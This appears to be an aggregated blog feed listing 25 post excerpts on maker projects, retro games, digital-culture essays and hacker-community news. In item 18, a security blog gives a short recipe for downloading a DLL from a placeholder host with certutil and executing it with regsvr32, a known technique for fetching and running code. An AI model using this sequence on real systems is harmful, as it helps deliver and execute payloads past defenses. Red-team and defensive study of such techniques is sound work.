1. LED Costume by @m42sc_cosplay #WearableWednesday

    Adafruit Industries " Makers, hackers, artists, designers and engineers! | 25 Apr 2018 | 6:00am CDT

    Hey so this is the next big project I’ve been working on! It’s a remake of Starlight, another original LED costume design I made two years ago. It’s still not done but I’m really happy with how the lights look! Leggings by @dustrial #neopixels #adafruit #ledcostume #arduino pic.twitter.com/3Y3n5vPMRY — M42SC (@m42sc_cosplay) April 20, 2018 Super […]...

  2. An Introduction to Bondo for Designers and Modelmakers

    Adafruit Industries " Makers, hackers, artists, designers and engineers! | 25 Apr 2018 | 5:00am CDT

    The many applications for polyester resin and body filler via Core77 When it comes to making models, few materials are as diverse (and yes, smell as bad) as Bondo. It sets up quickly, can easily be machined and shaped and sticks to just about anything. Here industrial designer Eric Strebel kicks off his series on […]...

  3. A New Bird-of-Paradise Species has Been Discovered " Hiding (and Dancing) in Plain Sight

    Adafruit Industries " Makers, hackers, artists, designers and engineers! | 25 Apr 2018 | 4:24am CDT

    Sometimes a new species is hiding in plain sight…meet the Vogelkop Superb Bird-of-Paradise. Learn more about how the distinct song, dance and courtship appearance of the Vogelkop Superb Bird-of-Paradise confirms its new species status in our scientific paper: https://peerj.com/articles/4621...

  4. Gary Gygax’s Unpublished Work to Become Video Games

    Adafruit Industries " Makers, hackers, artists, designers and engineers! | 25 Apr 2018 | 3:00am CDT

    via Digital Trends Dungeons & Dragons co-creator Gary Gygax died in 2008, but he left behind numerous unpublished works that may become video games. The Gygax Trust has partnered with crowdfunding platform Fig to find developers who are right for the projects, raise the necessary funds to complete them, and share Gygax’s previously unseen creations with […]...

  5. Advanced Microscope Shows Cells at Work in Incredible 3D Detail

    Adafruit Industries " Makers, hackers, artists, designers and engineers! | 25 Apr 2018 | 1:07am CDT

    via Engadget For the first time, scientists have peered into living cells and created videos showing how they function with unprecedented 3D detail. Using a special microscope and new lighting techniques, a team from Harvard and the Howard Hughes Medical Institute captured zebrafish immune cell interactions with unheard-of 3D detail and resolution. The tech has […]...

  6. 75,000 Words, 285 Pages, 1 Deadline

    RobOHara.com | 20 Apr 2018 | 6:06am CDT

    One of the main characters in my novel has a glaring flaw. A couple of scenes still feel clunky. I may or may not have a plot hole. If it weren’t for deadlines, I might have gone on editing my novel forever. There’s always something that can be improved. Rough parts can be made better....

  7. A Donkey’s Fall From Grace: The Billy Mitchell Controversy

    RobOHara.com | 19 Apr 2018 | 6:06am CDT

    In 2013, I traveled to Denver, Colorado to attend the Kong Off 3, an officially sanctioned national Donkey Kong tournament. That weekend I got to see some of the world’s greatest Donkey Kong players play live in person, people like Hank Chien, Steve Wiebe, and Robbie Lakeman. Of everyone there, the person I was most...

  8. A Peek into the Confusing World of Popeye

    RobOHara.com | 9 Apr 2018 | 6:06am CDT

    As a kid I used to watch cartoons every morning while waiting for the school bus to arrive, and one of those cartoons was Popeye. Although the original Popeye cartoons by Fleischer Studios date all the way back to the 1930s, I was more familiar with the Popeye the Sailor series, produced in the...

  9. A Few Too Many

    RobOHara.com | 3 Apr 2018 | 6:06am CDT

    Over the past week I’ve picked up three new vintage lunch boxes: The Fall Guy, Annie, and the Care Bears. In the picture above, you can see the The Fall Guy and Care Bears lunch boxes stacked in front of some of the others. The cube holding the Annie lunch box is three boxes...

  10. Data breaches are not the problem, the app cult is the problem

    Elpunkt etcetera | 21 Mar 2018 | 11:19am CDT

    Don‘t trust this hacker: “The look of performative guilt on the Cambridge Analytica dude’s face in every photo is the biggest giveaway of his obvious expectation to be given the Chelsea Manning or Snowden treatment despite the fact that everything he says indicates the whole episode has been a game to him“ Toby Shorin Why...

  11. Time and Value in the Digital Sphere

    Elpunkt etcetera | 12 Mar 2018 | 6:37am CDT

    After Artistic value in digital communication (2016), here’s a new essay over at Shades Magazine on value in the digital sphere, on the economy of the free* services (*paid for by the digital labour performed by the users). Excerpt: how to organise the users that are facing the most powerful treat: things that cost somethings...

  12. Dark Side Ops I & 2 Review

    Carnal0wnage & Attack Research Blog | 8 Feb 2018 | 4:31pm CST

    Dark Side Ops I https://silentbreaksecurity.com/training/dark-side-ops/https://www.blackhat.com/us-17/training/dark-side-ops-custom-penetration-testing.html A really good overview of the class is here https://www.ethicalhacker.net/features/root/course-review-dark-side-ops-custom-penetration-testingI enjoyed the class. This was actually my second time taking the class and it wasn't nearly as overwhelming the 2nd time :-) I’ll try not to cover what is in Raphael’s article as it is sti...

  13. Φ " feed art

    Elpunkt etcetera | 6 Feb 2018 | 5:07am CST

    A common reaction of these last years to the violence in particularly theatrical images from current events has been to place a spiral over them, in order to perform a fake ‚revealing‘ of their classical construction. Events as images as quasi-paintings. This spiral is of course the golden ratio, or Φ. What is happening here,...

  14. Vom Bilderverbot zum Fotoverbot

    Elpunkt etcetera | 27 Jan 2018 | 6:58am CST

    „Alle unsere Maschinen sind Bildschirme, wir selbst sind Bildschirme geworden und das Verhältnis der Menschen zueinander ist das von Bildschirmen geworden“ Jean Baudrillard: Videowelt und Fraktales Subjekt. In Ars Electronica (Hg.): Philosophien der Neuen Technologie, Merve, 1989. S. 113-130, S. 130 Identität und Reue sind fest verbunden. Das Subjekt findet sich in einer Krise...

  15. Blogging is back " Es wird wieder gebloggt

    Elpunkt etcetera | 26 Jan 2018 | 3:27pm CST

    Gif: Space Amoeba, 1970. Es wird wieder gebloggt, es wird darüber geredet wieder zu bloggen, es wird weiter gebloggt: Warren Ellis: Reblog: the world’s most minimalist radio station Nerdcore: Feeeeeds: Es zeichnet sich (endlich) das überfällige Blog-Revival ab Reza Negarestani: Returning to the Age of Blogging: between formal and informal, essay-form and rambling, preaching and scolding: In short,...

  16. Books I'd give to my 30yr old self

    Carnal0wnage & Attack Research Blog | 16 Nov 2017 | 10:14am CST

    A good friend/co-worker recently turned 30. In preparation for his birthday party I gave some thought to my 30th birthday and the things I now know or have an idea about and what I wish I had known at that point in my life. I decided to buy him a few books that had impacted my life since my 30th birthday and that I wish I had know or read earlier in life.I'll split the post into two parts; computer books and life/metaphysical books.Computer booksThis is by no means an exhaustive list. A more e...

  17. Mentoring: On Blogging

    Carnal0wnage & Attack Research Blog | 25 Aug 2017 | 7:00am CDT

    Received the question about blogging. More specifically:How and WhyHow to benefit from bloggingHow to be consistent with postingIn my mind, the key to success and blogging is to be totally selfish in its planning and execution.Blogging is a personal activity/journey that you allow the public to be a part of. What I mean by this is that the main audience for your blog should be YOU. My blog is a place where I take notes and occasionally try to talk about a more touchy-feely topics or issues. Th...

  18. Certutil for delivery of files

    Carnal0wnage & Attack Research Blog | 21 Aug 2017 | 7:00am CDT

    Quick post putting together some twitter awesomenessreferences:https://twitter.com/subtee/status/888125678872399873https://twitter.com/subTee/status/888071631528235010https://twitter.com/malwaretechblog/status/733651527827623936Let's do it1. Create your DLL2. Base64encode it (optional)3. Use certutil.exe -urlcache -split -f http://example/file.txt file.blah to pull it down4. Base64decode the file with certutil5. Execute the dll with regsvr32 regsvr32 /s /u mydll.dll...

  19. Follow up to the vuln disclosure post

    Carnal0wnage & Attack Research Blog | 29 Jun 2017 | 7:07am CDT

    Summary of responses from this post: http://carnal0wnage.attackresearch.com/2017/06/vulnerability-disclosure-free-bug.htmlI wanted to document/summarize some of the responses I received and some of the insights I gained via self observation and my interactions with others on the topic.I received a few replies (less than I hoped for though). To summarize a few:-I'm not a greedy bastard for thinking it would "be nice" to get paid for reporting a vuln but I should not expect them.-Bug Bounty awards...

  20. Bow To The Cow!

    CULT OF THE DEAD COW | 19 Apr 2017 | 10:44am CDT

    If you've been wanting to show your love and allegiance to the Cow but haven't known how, we have the perfect solution for you. Now available in limited quantities are a new round of cDc merchandise for your pleasure. First...

  21. cDc Day 2016 is upon us!

    CULT OF THE DEAD COW | 11 Jul 2016 | 8:45am CDT

    Suggested cDc Day activities include: 1.Take a trip to a 7-11 and reminisce about the convenience store as an institution, and its place in your life. How dependably open for so many hours! The wide variety of products in a...

  22. CULT OF THE DEAD COW Statement on Jacob Appelbaum / ioerror

    CULT OF THE DEAD COW | 6 Jun 2016 | 9:14am CDT

    FOR IMMEDIATE RELEASE 06-June-2016 CULT OF THE DEAD COW Statement on Jacob Appelbaum / ioerror Like much of the hacker community, we were troubled to hear the allegations of sexual abuse, manipulation, and bullying leveled against one of our members,...

  23. Embrace the strange: support indy artist Victor Cayro this Sept. 10 in San Francisco

    CULT OF THE DEAD COW | 25 Aug 2015 | 8:52pm CDT

    Incredibly nice guy and friend of the herd (and co-founder of the mysterious DSSK collective) Victor Cayro will have an art show in San Francisco on September 10th. If you're in the area, please support independent art that stretches the...

  24. Friends of the Herd Doing Awesome Things: Carmageddon Part 1

    CULT OF THE DEAD COW | 21 Jul 2015 | 8:21am CDT

    Badass and scary as fuck at the same time. Good job! http://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway/...

  25. Exotic Liability 87: Trigger

    Exotic Liability | 25 Mar 2013 | 12:58am CDT

    The one where we start a shiznit-storm and, oh yeah, a chat with Violet Blue.... Thanks to: Jericho & Banasidhe for being in studio! Enjoy!

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